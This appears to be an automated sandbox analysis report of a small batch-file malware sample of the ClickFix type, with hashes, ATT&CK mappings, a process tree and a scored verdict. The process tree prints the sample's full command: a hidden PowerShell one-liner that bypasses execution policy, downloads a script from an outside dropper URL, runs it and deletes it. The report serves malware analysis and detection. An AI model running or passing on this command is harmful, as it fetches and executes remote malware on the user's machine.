028f3bee02a4e1ac9626a5b5542f8868c73b893561147aa1a2a19d834302a021

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
25/08/2026, 10:43

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General

Target
clickfix_raw_user_input.bat
Size 241B
Sample260825-msd3eahj9z
SHA256 028f3bee02a4e1ac9626a5b5542f8868c73b893561147aa1a2a19d834302a021
MD5 fdd9cb872c10c5e5b31a3da7e53bb1cf
SHA1 81df93d027ca892712e048bbb9ccc8abee619546
SHA512 9525416f62dbb446c7399ebf13b15b7c048c4b1c24127276fc3f2aede12d1581720b30713e0c065e29cbe53c596aa1a287be599fbc34d05d613a1a7f13138fb3
TLSH
T112D09763E123EFBD4BC4B492E5DE8D88A10240AAB361200033F18539DAB8470A3440BB
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://penguinpublishers.org/files/audio/

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
9	3668	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3668	powershell.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
588	cmd.exe
4348	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3668	powershell.exe
3668	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3668	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 588 wrote to memory of 4348	588	cmd.exe	86
PID 4348 wrote to memory of 3668	4348	cmd.exe	87

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\clickfix_raw_user_input.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:588
- C:\Windows\system32\cmd.exe
  cmd.exe /c powershell -w h -ep Bypass -nop -c "$h='b.ps1';$n=$env:USERPROFILE+'\\Downloads\\'+$h;Start-Sleep 15;(New-Object Net.WebClient).DownloadFile('https://penguinpublishers.org/files/audio/', $n);& $n;Remove-Item $n -Force;"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4348
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -w h -ep Bypass -nop -c "$h='b.ps1';$n=$env:USERPROFILE+'\\Downloads\\'+$h;Start-Sleep 15;(New-Object Net.WebClient).DownloadFile('https://penguinpublishers.org/files/audio/', $n);& $n;Remove-Item $n -Force;"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3668

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_rsuhldnp.ry3.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rsuhldnp.ry3.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/3668-0-0x000001DB6B5D0000-0x000001DB6B5E0000-memory.dmp

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memory/3668-1-0x000001DB6B5D0000-0x000001DB6B5E0000-memory.dmp

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memory/3668-8-0x000001DB6D780000-0x000001DB6D7A2000-memory.dmp

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memory/3668-11-0x000001DB6B5D0000-0x000001DB6B5E0000-memory.dmp

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memory/3668-10-0x000001DB6B5D0000-0x000001DB6B5E0000-memory.dmp

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memory/3668-12-0x000001DB6B5D0000-0x000001DB6B5E0000-memory.dmp

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